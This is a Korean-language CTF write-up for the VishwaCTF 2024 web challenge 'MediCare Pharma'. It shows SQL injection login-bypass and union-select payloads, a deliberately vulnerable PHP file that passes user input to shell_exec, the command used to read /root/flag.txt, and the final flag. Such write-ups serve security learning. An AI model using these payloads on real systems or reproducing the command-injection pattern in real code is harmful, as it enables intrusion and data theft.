[CTF Writeup / Web] VishwaCTF 2024 - MediCare Pharma

[CTF Writeup / Web] VishwaCTF 2024 - MediCare Pharma



안녕하세요. 이번 글에서는 VishwaCTF 2024에 출제된 Web 문제 MediCare Pharma의 Writeup을 작성해보도록 하겠습니다.



문제

문제 설명입니다. 


로그인 페이지

URL 접속하면 로그인 페이지가 뜹니다.



SQL 쿼리

로그인 시, SQL 쿼리문이 보입니다.



SQL Injection

' or 1-- a 입력 시 Incorrect Username or Password라고 뜹니다.



SQL Injection

' union select username,pass from users;-- a

이것저것 입력해보면서 테스트 하다가 union select를 시도하여 계정 4개를 획득했습니다.


판매 사이트

알아낸 계정으로 로그인하면 구매할 수 있는 사이트가 열립니다.

상품을 하나 구매하면 alert 창이 뜨고, pharmacy.php 파일이 다운로드 됩니다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
header('Content-Type: application/json');
 
if ($_SERVER["REQUEST_METHOD"] == "POST") 
{
    $enteredInput = $_POST['search_param'];
    
    if (strlen($enteredInput) == 0)
    {
        echo json_encode(['result' => "Search bar cannot be empty"]);
    }
 
    else
    {
        $result = shell_exec($enteredInput);
 
        if ($result == null)
        {
            echo json_encode(['result' => ($enteredInput . " not found in store")]);
        }
 
        else
        {
            echo json_encode(['result' => $result]);
        }
    }
 
} 
 
else 
{
    http_response_code(404);
    echo json_encode(['error' => 'Access Forbidden']);
}
?>
 
cs

pharmacy.php 파일 내용을 살펴보면, search_param 파라미터로 전송한 값을 shell_exec 함수 인자 값으로 넣기 때문에 RCE가 가능합니다.


FLAG

cat /root/flag.txt를 입력하여 전송하면 플래그를 획득할 수 있습니다.



VishwaCTF{d1g1t4l_p41n_di5p4tch3d_th4nk5_f0r_sh0pp1ng_with_M3diC4re_Ph4rm4}






댓글